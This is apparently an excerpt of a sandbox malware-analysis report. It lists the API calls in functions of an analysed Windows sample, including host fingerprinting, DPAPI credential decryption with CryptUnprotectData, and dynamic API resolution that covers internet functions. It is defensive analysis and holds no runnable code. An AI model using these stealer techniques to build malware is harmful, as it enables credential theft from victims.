Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 9297ced9ee29aa9384a2f1ff0629fe56e8bd520ed7d6bc82c53322f697f29f8c
Instruction ID: e759bc65d97c1c8df8f30e847fa94d00fb1ca87ccae43ac8f576b44b85942073
Opcode Fuzzy Hash: 9297ced9ee29aa9384a2f1ff0629fe56e8bd520ed7d6bc82c53322f697f29f8c
Instruction Fuzzy Hash: 31314871905218ABCB64EF54CC85FEEB7B8EF46700F1081D9E50AA22A0DB746E45CFB1

Function 00BA7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0063DF30,00000000,?,00BB0E10,00000000,?,00000000,00000000), ref: 00BA7A63
RtlAllocateHeap.NTDLL(00000000), ref: 00BA7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0063DF30,00000000,?,00BB0E10,00000000,?,00000000,00000000,?), ref: 00BA7A7D
wsprintfA.USER32 ref: 00BA7AB7

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 4f76ebda30d8fb13994ea4c6e301b0a9ebe1f3f67c929a60cc904eb9efddf209
Instruction ID: ab59da54de6052118ca745154b659060ea98876fe91dd6955f48fa158fc901e6
Opcode Fuzzy Hash: 4f76ebda30d8fb13994ea4c6e301b0a9ebe1f3f67c929a60cc904eb9efddf209
Instruction Fuzzy Hash: A31182B194A228EBDB108F58DC45FAAB7B8F705711F1043D6E906932D0C7745E40CF51

Function 00B99B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00B99B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00B99BA3
LocalFree.KERNEL32(?), ref: 00B99BD3

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 6a3abf6060393eac3031104b454b550b845f4280ecad91e8ddcdeb65a63067f8
Instruction ID: bc2d90cae9f6c10d616d7c24cc0560355df0cd8e1c574439b886f08005b2788c
Opcode Fuzzy Hash: 6a3abf6060393eac3031104b454b550b845f4280ecad91e8ddcdeb65a63067f8
Instruction Fuzzy Hash: AB11BAB8A01209EFDB04DF98D985AAE77F5FF89300F104599E91597350D774AE10CF61

Function 00BA78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BA7910
RtlAllocateHeap.NTDLL(00000000), ref: 00BA7917
GetComputerNameA.KERNEL32(?,00000104), ref: 00BA792F

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 8f5edd625bfbfde023d6cbdd6f52bfe8f1dae44e4406448f409df15dd4d1647a
Instruction ID: e2dd314371550bd8610fb800a15ffdf94d0b77f99da7737d78195391833703d9
Opcode Fuzzy Hash: 8f5edd625bfbfde023d6cbdd6f52bfe8f1dae44e4406448f409df15dd4d1647a
Instruction Fuzzy Hash: 74016DB1A48208EBC710DF98DD45BABFBF8FB05B21F10425AEA45E2390C77459008BA1

Function 00BA7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B911B7), ref: 00BA7880
RtlAllocateHeap.NTDLL(00000000), ref: 00BA7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00BA789F

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: c66404da50a20cb38093140ee19872d7f985d83c9f4974f26ead2c3278f0ec70
Instruction ID: 3bbfea8c216e9be213fe62dbbd3f1e6c87149e4b98c7af432611b3bd15c83259
Opcode Fuzzy Hash: c66404da50a20cb38093140ee19872d7f985d83c9f4974f26ead2c3278f0ec70
Instruction Fuzzy Hash: 28F04FB1948208ABC700DF99DD49BAEBBB8EB05711F10425AFA05E2780C77819048BA1

Function 00B91160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00B9116A
ExitProcess.KERNEL32 ref: 00B9117E

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 908337aab1ee38fc05480e7f470d731befbe881b1290c331779d2686250d3f26
Instruction ID: 66e82918e7077777722b7a7ec7b93136d9f2eef634e0206d6c5bfce3144b680f
Opcode Fuzzy Hash: 908337aab1ee38fc05480e7f470d731befbe881b1290c331779d2686250d3f26
Instruction Fuzzy Hash: 00D05E7490130CEBCB00DFE4D8496DDBBB8FB08312F000595D905B2340EA305485CAB6

Function 00BA9C10 Relevance: 228.2, APIs: 112, Strings: 18, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00625BD0), ref: 00BA9C2D
GetProcAddress.KERNEL32(74DD0000,00625C30), ref: 00BA9C45
GetProcAddress.KERNEL32(74DD0000,006396A0), ref: 00BA9C5E
GetProcAddress.KERNEL32(74DD0000,00639658), ref: 00BA9C76
GetProcAddress.KERNEL32(74DD0000,00639628), ref: 00BA9C8E
GetProcAddress.KERNEL32(74DD0000,00639640), ref: 00BA9CA7
GetProcAddress.KERNEL32(74DD0000,0062BBD0), ref: 00BA9CBF
GetProcAddress.KERNEL32(74DD0000,0063CF30), ref: 00BA9CD7
GetProcAddress.KERNEL32(74DD0000,0063CE10), ref: 00BA9CF0
GetProcAddress.KERNEL32(74DD0000,0063CE70), ref: 00BA9D08
GetProcAddress.KERNEL32(74DD0000,0063CEA0), ref: 00BA9D20
GetProcAddress.KERNEL32(74DD0000,00625C50), ref: 00BA9D39
GetProcAddress.KERNEL32(74DD0000,00625CD0), ref: 00BA9D51
GetProcAddress.KERNEL32(74DD0000,00625CF0), ref: 00BA9D69
GetProcAddress.KERNEL32(74DD0000,00625D70), ref: 00BA9D82
GetProcAddress.KERNEL32(74DD0000,0063D0C8), ref: 00BA9D9A
GetProcAddress.KERNEL32(74DD0000,0063CEB8), ref: 00BA9DB2
GetProcAddress.KERNEL32(74DD0000,0062BC48), ref: 00BA9DCB
GetProcAddress.KERNEL32(74DD0000,00625E10), ref: 00BA9DE3
GetProcAddress.KERNEL32(74DD0000,0063CE88), ref: 00BA9DFB
GetProcAddress.KERNEL32(74DD0000,0063CE58), ref: 00BA9E14
GetProcAddress.KERNEL32(74DD0000,0063D050), ref: 00BA9E2C
GetProcAddress.KERNEL32(74DD0000,0063CE28), ref: 00BA9E44
GetProcAddress.KERNEL32(74DD0000,00625E30), ref: 00BA9E5D
GetProcAddress.KERNEL32(74DD0000,0063CED0), ref: 00BA9E75
GetProcAddress.KERNEL32(74DD0000,0063D068), ref: 00BA9E8D
GetProcAddress.KERNEL32(74DD0000,0063CE40), ref: 00BA9EA6
GetProcAddress.KERNEL32(74DD0000,0063CF78), ref: 00BA9EBE
GetProcAddress.KERNEL32(74DD0000,0063CEE8), ref: 00BA9ED6
GetProcAddress.KERNEL32(74DD0000,0063D020), ref: 00BA9EEF
GetProcAddress.KERNEL32(74DD0000,0063D098), ref: 00BA9F07
GetProcAddress.KERNEL32(74DD0000,0063CF48), ref: 00BA9F1F
GetProcAddress.KERNEL32(74DD0000,0063D0E0), ref: 00BA9F38
GetProcAddress.KERNEL32(74DD0000,0063A600), ref: 00BA9F50
GetProcAddress.KERNEL32(74DD0000,0063CFC0), ref: 00BA9F68
GetProcAddress.KERNEL32(74DD0000,0063CDF8), ref: 00BA9F81
GetProcAddress.KERNEL32(74DD0000,00625AB0), ref: 00BA9F99
GetProcAddress.KERNEL32(74DD0000,0063CF00), ref: 00BA9FB1
GetProcAddress.KERNEL32(74DD0000,00625910), ref: 00BA9FCA
GetProcAddress.KERNEL32(74DD0000,0063D0B0), ref: 00BA9FE2
GetProcAddress.KERNEL32(74DD0000,0063CF18), ref: 00BA9FFA
GetProcAddress.KERNEL32(74DD0000,006257F0), ref: 00BAA013
GetProcAddress.KERNEL32(74DD0000,00625A10), ref: 00BAA02B
LoadLibraryA.KERNEL32(0063CF60,?,00BA5CA3,00BB0AEB,?,?,?,?,?,?,?,?,?,?,00BB0AEA,00BB0AE3), ref: 00BAA03D
LoadLibraryA.KERNEL32(0063CF90,?,00BA5CA3,00BB0AEB,?,?,?,?,?,?,?,?,?,?,00BB0AEA,00BB0AE3), ref: 00BAA04E
LoadLibraryA.KERNEL32(0063CFA8,?,00BA5CA3,00BB0AEB,?,?,?,?,?,?,?,?,?,?,00BB0AEA,00BB0AE3), ref: 00BAA060
LoadLibraryA.KERNEL32(0063CFD8,?,00BA5CA3,00BB0AEB,?,?,?,?,?,?,?,?,?,?,00BB0AEA,00BB0AE3), ref: 00BAA072
LoadLibraryA.KERNEL32(0063CFF0,?,00BA5CA3,00BB0AEB,?,?,?,?,?,?,?,?,?,?,00BB0AEA,00BB0AE3), ref: 00BAA083
LoadLibraryA.KERNEL32(0063D008,?,00BA5CA3,00BB0AEB,?,?,?,?,?,?,?,?,?,?,00BB0AEA,00BB0AE3), ref: 00BAA095
LoadLibraryA.KERNEL32(0063D038,?,00BA5CA3,00BB0AEB,?,?,?,?,?,?,?,?,?,?,00BB0AEA,00BB0AE3), ref: 00BAA0A7
LoadLibraryA.KERNEL32(0063D080,?,00BA5CA3,00BB0AEB,?,?,?,?,?,?,?,?,?,?,00BB0AEA,00BB0AE3), ref: 00BAA0B8
GetProcAddress.KERNEL32(75290000,00625A30), ref: 00BAA0DA
GetProcAddress.KERNEL32(75290000,0063D290), ref: 00BAA0F2
GetProcAddress.KERNEL32(75290000,00638FB8), ref: 00BAA10A
GetProcAddress.KERNEL32(75290000,0063D2D8), ref: 00BAA123
GetProcAddress.KERNEL32(75290000,006259F0), ref: 00BAA13B
GetProcAddress.KERNEL32(73B40000,0062B7C0), ref: 00BAA160
GetProcAddress.KERNEL32(73B40000,00625A50), ref: 00BAA179
GetProcAddress.KERNEL32(73B40000,0062B9A0), ref: 00BAA191
GetProcAddress.KERNEL32(73B40000,0063D1E8), ref: 00BAA1A9
GetProcAddress.KERNEL32(73B40000,0063D2F0), ref: 00BAA1C2
GetProcAddress.KERNEL32(73B40000,00625810), ref: 00BAA1DA
GetProcAddress.KERNEL32(73B40000,00625890), ref: 00BAA1F2
GetProcAddress.KERNEL32(73B40000,0063D320), ref: 00BAA20B
GetProcAddress.KERNEL32(752C0000,00625730), ref: 00BAA22C
GetProcAddress.KERNEL32(752C0000,00625830), ref: 00BAA244
GetProcAddress.KERNEL32(752C0000,0063D308), ref: 00BAA25D
GetProcAddress.KERNEL32(752C0000,0063D380), ref: 00BAA275
GetProcAddress.KERNEL32(752C0000,00625A70), ref: 00BAA28D
GetProcAddress.KERNEL32(74EC0000,0062B810), ref: 00BAA2B3
GetProcAddress.KERNEL32(74EC0000,0062B838), ref: 00BAA2CB
GetProcAddress.KERNEL32(74EC0000,0063D140), ref: 00BAA2E3
GetProcAddress.KERNEL32(74EC0000,006258B0), ref: 00BAA2FC
GetProcAddress.KERNEL32(74EC0000,00625770), ref: 00BAA314
GetProcAddress.KERNEL32(74EC0000,0062BA18), ref: 00BAA32C
GetProcAddress.KERNEL32(75BD0000,0063D398), ref: 00BAA352
GetProcAddress.KERNEL32(75BD0000,00625930), ref: 00BAA36A
GetProcAddress.KERNEL32(75BD0000,00638FA8), ref: 00BAA382
GetProcAddress.KERNEL32(75BD0000,0063D338), ref: 00BAA39B
GetProcAddress.KERNEL32(75BD0000,0063D230), ref: 00BAA3B3
GetProcAddress.KERNEL32(75BD0000,00625970), ref: 00BAA3CB
GetProcAddress.KERNEL32(75BD0000,006258F0), ref: 00BAA3E4
GetProcAddress.KERNEL32(75BD0000,0063D350), ref: 00BAA3FC
GetProcAddress.KERNEL32(75BD0000,0063D3B0), ref: 00BAA414
GetProcAddress.KERNEL32(75A70000,00625950), ref: 00BAA436
GetProcAddress.KERNEL32(75A70000,0063D0F8), ref: 00BAA44E
GetProcAddress.KERNEL32(75A70000,0063D368), ref: 00BAA466
GetProcAddress.KERNEL32(75A70000,0063D2A8), ref: 00BAA47F
GetProcAddress.KERNEL32(75A70000,0063D3C8), ref: 00BAA497
GetProcAddress.KERNEL32(75450000,00625990), ref: 00BAA4B8
GetProcAddress.KERNEL32(75450000,00625870), ref: 00BAA4D1
GetProcAddress.KERNEL32(75DA0000,006258D0), ref: 00BAA4F2
GetProcAddress.KERNEL32(75DA0000,0063D158), ref: 00BAA50A
GetProcAddress.KERNEL32(6F070000,00625850), ref: 00BAA530
GetProcAddress.KERNEL32(6F070000,006259B0), ref: 00BAA548
GetProcAddress.KERNEL32(6F070000,006259D0), ref: 00BAA560
GetProcAddress.KERNEL32(6F070000,0063D110), ref: 00BAA579
GetProcAddress.KERNEL32(6F070000,00625A90), ref: 00BAA591
GetProcAddress.KERNEL32(6F070000,006256B0), ref: 00BAA5A9
GetProcAddress.KERNEL32(6F070000,006256D0), ref: 00BAA5C2
GetProcAddress.KERNEL32(6F070000,006256F0), ref: 00BAA5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 00BAA5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 00BAA607
GetProcAddress.KERNEL32(75AF0000,0063D3E0), ref: 00BAA629
GetProcAddress.KERNEL32(75AF0000,00639018), ref: 00BAA641
GetProcAddress.KERNEL32(75AF0000,0063D128), ref: 00BAA659
GetProcAddress.KERNEL32(75AF0000,0063D2C0), ref: 00BAA672
GetProcAddress.KERNEL32(75D90000,006257D0), ref: 00BAA693
